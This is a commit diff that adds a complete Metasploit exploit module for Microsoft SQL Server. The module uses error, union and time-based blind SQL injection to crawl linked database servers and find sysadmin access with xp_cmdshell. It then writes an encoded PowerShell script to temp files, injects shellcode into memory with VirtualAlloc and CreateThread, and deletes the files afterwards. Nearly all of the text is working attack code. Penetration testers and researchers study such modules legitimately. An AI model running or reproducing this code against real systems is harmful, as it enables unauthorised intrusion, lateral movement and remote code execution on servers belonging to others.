msftidy updates

unstable
nullbind 2012-11-01 20:59:37 -05:00
parent 8bb95e9f17
commit 9158497fb4
1 changed files with 568 additions and 0 deletions

View File

@ -0,0 +1,568 @@
require 'msf/core'
require 'msf/core/exploit/mssql_commands'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::MSSQL_SQLI
include Msf::Auxiliary::Report
include Msf::Exploit::CmdStagerVBS
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server - Database Link Crawler',
'Description' => %q{
When provided with a valid SQLi URL, this module will crawl SQL Server database links and identify MSSQL links configured with sysadmin privileges.
Syntax for injection URLs:
Error: /account.asp?id=1+and+1=[SQLi];--
Union: /account.asp?id=1+union+all+select+null,[SQLi],null;--
Union works most reliably if "id=1" does not return any data, i.e. use "id=12345678"
Blind: /account.asp?id=1;[SQLi];--
The payload deployment works currently only on systems that have powershell. Powershell deployment code based on Matthew Graeber's research.
},
'Author' =>
[
'Antti Rantasaari <antti.rantasaari@netspi.com>',
'Scott Sutherland "nullbind" <scott.sutherland@netspi.com>'
],
'Platform' => [ 'Windows' ],
'License' => MSF_LICENSE,
'References' => [[ 'URL', 'http://www.netspi.com/' ],['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
['URL','http://www.exploit-monday.com/2011_10_16_archive.html']],
'Version' => '$Revision: 1 $',
'DisclosureDate' => 'Jan 1 2000',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
register_options(
[
OptBool.new('VERBOSE', [false, 'Set how verbose the output should be', 'false']),
OptString.new('TYPE', [ true, 'SQLi type (ERROR,UNION, or BLIND)', 'ERROR']),
OptString.new('CHARSET', [true, 'Charset used for blind injections', 'default']),
OptString.new('DELAY', [true, 'Time delay for blind injections - 1-5 seconds', '1']),
OptBool.new('DEPLOY', [true, 'Deploy a payload on target systems', 'true']),
OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy payload to (blank = all)'])
], self.class)
end
def exploit
masterList = Array.new
masterList[0] = Hash.new # Define new hash
masterList[0]["name"] = "" # Name of the current database server
masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored
masterList[0]["done"] = 0 # Used to determine if linked need to be crawled
shelled = Array.new # keeping track of shelled systems to prevent multiple incoming sa links resulting in multiple shells on one system
# Create table to store configuration information from crawled database server links
linked_server_table = Rex::Ui::Text::Table.new(
'Header' => 'Linked Server Table',
'Ident' => 1,
'Columns' => ['db_server', 'link_path','link_priv','link_status']
)
save_loot = ""
type = datastore['type'].to_s.downcase
print_status("----------------------------------------------------")
print_status("Start time : #{Time.now}")
print_status("----------------------------------------------------")
print_status("Enumerating name of database server entry point")
print_status("----------------------------------------------------")
########################################
# Going through each identified database
########################################
while masterList.any? {|f| f["done"] == 0}
server = masterList.detect {|f| f["done"] == 0}
if type=="error" or type=="union"
execute = "(select @@servername as int)"
sql = query_builder(server["path"].first,"",0,execute)
res = mssql_query(sql)
unless res == nil
name = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
else
name = nil
end
elsif type=="blind"
column = "@@servername"
name = blind_injection(server["path"].first,'name',column)
end
##################################################
# Printing statuses
# Calling mssql_permission_checker for good servers (not broken links)
##################################################
unless server["path"].first.first == nil
print("\n") if datastore['VERBOSE'] == true
print_status("----------------------------------------------------")
print_status("Enumerating server information #{masterList[0]["name"]} -> #{server["path"].first.join(" -> ")}")
print_status("----------------------------------------------------")
end
unless name == nil
server["name"] = name
print_status("Server information")
print_status(" o Server name: #{name}")
if server["path"].first.first != nil
print_status(" o Path: #{masterList[0]["name"]} -> #{server["path"].first.join(" -> ")}")
else
print_status(" o Path: NA")
end
privstatus = mssql_permission_checker(server,masterList,name,type,shelled)
badlink = 0
else
print_error("Server information - bad link")
print_status(" o Server name: #{server["path"].first.last}")
print_status(" o Path: #{masterList[0]["name"]} -> #{server["path"].first.join(" -> ")}")
print_status(" o Privileges: NA")
badlink = 1
end
# Write Report and Display output to the screen
save_loot = "yes"
write_to_report(server["name"],server["path"],masterList[0]["name"],privstatus,badlink,linked_server_table)
# Get number of good links on the server
count = nil
if type=="error" or type == "union" and name != nil
execute = "(select cast(count(srvname) as varchar) from master..sysservers where srvname != @@servername and dataaccess = 1 and srvproduct = 'SQL Server')"
sql = query_builder(server["path"].first,"",0,execute)
res = mssql_query(sql)
count = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
elsif type=="blind" and name !=nil
column = "srvname"
if server["name"] != nil
count = blind_injection(server["path"].first,'linkcount',column)
end
end
###########################
# Crawling database links #
###########################
if count != nil and count != 0
print_status("")
print_status("Crawling linked servers on #{server["name"]}...")
print_status("Links found: #{count}")
(1..Integer(count)).each do |i|
name = nil
if type=="error" or type == "union"
execute = "select top 1 srvname from master..sysservers where srvname in (select top " + i.to_s + \
" srvname from master..sysservers where srvname != @@servername and dataaccess = 1 \
and srvproduct = 'SQL Server' order by srvname asc) order by srvname desc"
sql = query_builder(server["path"].first,"",0,execute)
res = mssql_query(sql)
name = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
elsif type=="blind"
column = "srvname"
name = blind_injection(server["path"].first,'name',column,i.to_s)
end
print_status("Found a link to #{name}")
if name != nil
unless masterList.any? {|f| f["name"] == name}
masterList << add_host(name,server["path"].first)
else
(0..masterList.length-1).each do |x|
if masterList[x]["name"] == name
masterList[x]["path"] << server["path"].first.dup
masterList[x]["path"].last << name
print_status("Alternative path to #{name}: #{masterList.first["name"]} -> #{server["path"].first.join(" -> ")} -> #{name}")
privstatus = mssql_permission_checker(server,masterList,name,type,shelled)
else
break
end
end
end
end
end
end
server["done"] = 1
end
print_status("----------------------------------------------------")
print_status("End time : #{Time.now}")
print_status("----------------------------------------------------")
# Setup table for loot
this_service = nil
if framework.db and framework.db.active
this_service = report_service(
:host => rhost,
:port => rport,
:name => 'mssql',
:proto => 'tcp'
)
end
# Write log to loot / file
if (save_loot=="yes")
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv"
path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service)
print_status("Results have been saved to: #{path}")
end
end
#-------------------------------------------------------------------------------------
# Method to check if xp_cmdshell accessible - if so, calls payload delivery method
#-------------------------------------------------------------------------------------
def mssql_permission_checker(server,masterList,name,type,shelled)
temppath = Array.new
server["path"].first.each {|j| temppath << j}
unless temppath.last == name or server["path"].first.first == nil
temppath << name
end
# Checking if sysadmin privileges on the server
sysadmin = "0"
if type == "error" or type == "union"
execute = "(select cast(is_srvrolemember('sysadmin') as varchar))"
sql = query_builder(temppath,"",0,execute)
res = mssql_query(sql)
sysadmin = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
elsif type == "blind"
column = "sysadmin"
sysadmin = blind_injection(temppath,"enabled",column)
end
# Checking if xp_cmdshell enabled
if sysadmin == "1"
print_status(" o Privileges: sysadmin")
xpcmdshell = "0"
if type == "error" or type == "union"
execute = "(select cast(value_in_use as varchar) FROM sys.configurations WHERE name = 'xp_cmdshell')"
sql = query_builder(temppath,"",0,execute)
res = mssql_query(sql)
xpcmdshell = res.body.scan(/startmsf(.*)endmsf/imu).flatten.first
elsif type == "blind"
column = "xpcmdshell"
xpcmdshell = blind_injection(temppath,"enabled",column)
end
if xpcmdshell == "1"
if temppath[0] == nil
print_good(" o Xp_cmdshell enabled on #{masterList.first["name"]}")
else
print_good(" o Xp_cmdshell enabled on #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
end
if type == "error" or type == "union" and temppath.first == nil
print_status("Attempting to deliver payload on first server #{name}")
print_status("This may fail depending on the injection point [SQLi] location")
print_status("If no shell, try mssql_payload_sqli module")
end
# Deploying a payload if no shells on system and DEPLOY = true
unless shelled.include?(name)
#Deploy to specific target if specified
if datastore['DEPLOYLIST']==""
datastore['DEPLOYLIST'] = nil
end
if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
print_status("\t - Checking if #{name} is on the deploy list...")
end
if datastore['DEPLOYLIST'] != nil
deploylist = datastore['DEPLOYLIST'].upcase.split(',')
end
if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
print_status("\t - #{name} is on the deploy list.")
end
if datastore['DEPLOY']
powershell_upload_exec(temppath)
end
shelled << name
return 1
else
print_status("\t - #{name} is NOT on the deploy list, moving on.") and datastore["VERBOSE"] == true
return 1
end
else
if datastore['DEPLOY']
print_status("Payload already deployed on #{name}")
return 1
end
end
end
else
print_status(" o Privileges: user")
return 0
end
end
#-------------------------------------------------------------------------------------
# Method for blind SQL injections
# Will fail if targeted server very slow - mssql_query function times out at 5 seconds
#-------------------------------------------------------------------------------------
def blind_injection(path,command,column,topcount=false)
delay = datastore['DELAY']
if delay.to_i<1 or delay.to_i>5
delay = 1
end
if command=="name"
length = 0
spot = 1
name = ""
# checking if link works - if good, returns link name; if bad, returns nil
unless path.last == nil or column == "srvname"
execute = "select 1; if(select len((#{column})))>0 begin waitfor delay '0:0:#{delay}' end"
sql = query_builder(path,"",0,execute,true)
starttime = Time.now
mssql_query(sql)
if Time.now - starttime > delay.to_i
return path.last
else
return nil
end
end
# get the length of @@servername or linked server srvname
print(" Extracting #{column} value length: ") if datastore['VERBOSE'] == true
(1..100).each do |i|
if column == "@@servername"
execute = "select 1; if(select len((#{column})))=#{i.to_s} begin waitfor delay '0:0:#{delay}' end"
end
if column == "srvname"
execute = "select 1; if(select top 1 len(srvname) from master..sysservers where srvname in \
(select top #{topcount} srvname from master..sysservers where srvname != @@servername and \
dataaccess = 1 and srvproduct = 'SQL Server' order by srvname asc) order by srvname desc)='#{i.to_s}' \
begin waitfor delay '0:0:#{delay}' end"
end
sql = query_builder(path,"",0,execute,true)
starttime = Time.now
mssql_query(sql)
if Time.now - starttime > delay.to_i
print("#{i}\n") if datastore['VERBOSE'] == true
length = i
break
end
end
if length == 100
return nil
end
# enumerate servername or linked server servername one character at a time
if datastore['CHARSET'] == 'default'
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.\\/-_#!?*@$%&()"
elsif
charset = datastore['CHARSET']
end
spot = 1
print(" Extracting #{column} value: ") if datastore['VERBOSE'] == true
while spot <= length
charset.each_char do |i|
if column == "@@servername"
execute = "select 1; if(select substring(#{column},#{spot},1))='#{i}' begin waitfor delay '0:0:#{delay}' end"
end
if column == "srvname"
execute = "select 1; if(select top 1 substring(srvname,#{spot},1) from master..sysservers \
where srvname in (select top #{topcount} srvname from master..sysservers where srvname \
!= @@servername and dataaccess = 1 and srvproduct = 'SQL Server' order by srvname asc) \
order by srvname desc)='#{i}' begin waitfor delay '0:0:#{delay}' end"
end
sql = query_builder(path,"",0,execute,true)
starttime = Time.now
mssql_query(sql)
if Time.now - starttime > delay.to_i
spot = spot+1
name = name + i
print("#{i}") if datastore['VERBOSE'] == true
break
end
if i == charset[-1]
print("\n") if datastore['VERBOSE'] == true
print_error("Failed to enumerated server name")
return nil
end
end
end
print("\n") if datastore['VERBOSE'] == true
return name
# check how many linked servers on database server
elsif command=="linkcount"
(0..100).each do |i|
execute = "select 1; if(select count(srvname) from master..sysservers where srvname != @@servername and dataaccess = 1 \
and srvproduct = 'SQL Server')=#{i} begin waitfor delay '0:0:#{delay}' end"
sql = query_builder(path,"",0,execute,true)
starttime = Time.now
mssql_query(sql)
if Time.now - starttime > delay.to_i
return i
end
end
return nil
# check is sysadmin or xp_cmdshell enabled
elsif command=="enabled"
if column == "sysadmin"
execute = "select 1; if(select is_srvrolemember('sysadmin'))=1 begin waitfor delay '0:0:#{delay}' end"
end
if column == "xpcmdshell"
execute = "select 1; if(select cast(value_in_use as varchar) FROM sys.configurations WHERE name = 'xp_cmdshell')='1' \
begin waitfor delay '0:0:#{delay}' end"
end
sql = query_builder(path,"",0,execute,true)
starttime = Time.now
mssql_query(sql)
if Time.now - starttime > delay.to_i
return "1"
end
return "0"
end
end
#-------------------------------------------------------------------------------------
# Method that builds nested openquery statements using during crawling
#-------------------------------------------------------------------------------------
def query_builder(path,sql,ticks,execute,nowrap=false)
# Temp used to maintain the original masterList[x]["path"]
temp = Array.new
path.each {|i| temp << i}
# actual query - defined when the function originally called - ticks multiplied
if path.length == 0
if ticks == 0 and nowrap == false and datastore['TYPE'].to_s.downcase == "error"
execute = "(select cast('startmsf'+(" + execute + ")+'endmsf' as int))"
elsif ticks == 0 and nowrap == false and datastore['TYPE'].to_s.downcase == "union"
execute = "(select 'startmsf'+(" + execute + ")+'endmsf')"
end
return execute.gsub("'","'"*2**ticks)
# openquery generator
else
sql = "(select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + "))"
if ticks == 0 and nowrap == false and datastore['TYPE'].to_s.downcase == "error"
sql = "(select cast('startmsf'+(" + sql + ")+'endmsf' as int))"
elsif ticks == 0 and nowrap == false and datastore['TYPE'].to_s.downcase == "union"
sql = "(select 'startmsf'+(" + sql + ")+'endmsf')"
end
return sql
end
end
#-------------------------------------------------------------------------------------
# Method for adding new linked database servers to the crawl list
#-------------------------------------------------------------------------------------
def add_host(name,path)
# Used to add new servers to masterList
server = Hash.new
server["name"] = name # Name of the current database server
temppath = Array.new
path.each {|i| temppath << i }
server["path"] = [temppath]
server["path"].first << name
server["done"] = 0
return server
end
#-------------------------------------------------------------------------------------
# Method for generating the report
#-------------------------------------------------------------------------------------
def write_to_report(server_name,server_path,master_name,privstatus,badlink,linked_server_table)
# Set server name
report_server = server_name
# Set path
if server_path.first.first == nil #can be used to determine if entry point
report_path = "NA"
frontlabel = ""
else
report_path = "#{master_name} -> #{server_path.first.join(" -> ")}"
frontlabel = "Link "
end
# Set privilege level language
if privstatus == 0 then
report_priv = "USER"
else
report_priv = "SYSADMIN!"
end
# Set bad link language
if badlink == 1 then
report_status = "DOWN"
report_priv = "NA"
else
report_status = "UP"
end
# Add report entry
linked_server_table << [report_server,report_path,report_priv,report_status]
return linked_server_table
end
#-------------------------------------------------------------------------------------
# Method that delivers shellcode payload via powershell thread injection
# Leaves a powershell process running on the target system
# Code based on http://www.exploit-monday.com/2011_10_16_archive.html
#-------------------------------------------------------------------------------------
def powershell_upload_exec(path)
print_status("Deploying a payload")
# Create powershell script that will inject our shell code
# Note: Must start multi/handler and set DisablePayloadHandler if expecting multiple shells
myscript ="$code = @\"
[DllImport(\"kernel32.dll\")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(\"kernel32.dll\")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport(\"msvcrt.dll\")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
\"@
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
$size = 0x1000
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
$winFunc::CreateThread(0,0,$x,0,0,0)"
# Unicode encode powershell script
mytext_uni = Rex::Text.to_unicode(myscript)
# Base64 encode unicode
mytext_64 = Rex::Text.encode_base64(mytext_uni)
# Generate random file name
rand_filename = rand_text_alpha(8)
var_duplicates = rand_text_alpha(8)
# Write base64 encode powershell payload to temp file
# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
# Adding line number tracking to remove line duplication from nested link write commands
linenum = 0
mytext_64.scan(/.{1,2500}/).each {|part|
execute = "(select 1); EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
sql = query_builder(path,"",0,execute,true)
result = mssql_query(sql, false)
linenum = linenum+1
}
# Remove duplicate lines from temp file and write to new file
execute = "(select 1);exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
sql = query_builder(path,"",0,execute,true)
result = mssql_query(sql, false)
execute = "(select 1);exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
sql = query_builder(path,"",0,execute,true)
result = mssql_query(sql, false)
# Generate base64 encoded powershell command we can use noexit and avoid parsing errors
# If running on 64bit system, 32bit powershell called from syswow64 - path to Powershell on 64bit systems hardcoded
powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) \
-join '';if((gci env:processor_identifier).value -like '*64*'){$psbits=\"C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe \
-noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe -noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
powershell_uni = Rex::Text.to_unicode(powershell_cmd)
powershell_base64 = Rex::Text.encode_base64(powershell_uni)
## Setup and execute shellcode with powershell via xp_cmdshell
print_status("Executing the payload")
execute = "(select 1); EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_base64}'"
sql = query_builder(path,"",0,execute,true)
result = mssql_query(sql, false)
# Remove payload data from the target server
execute = "(select 1); EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
sql = query_builder(path,"",0,execute,true)
result = mssql_query(sql,false)
end
end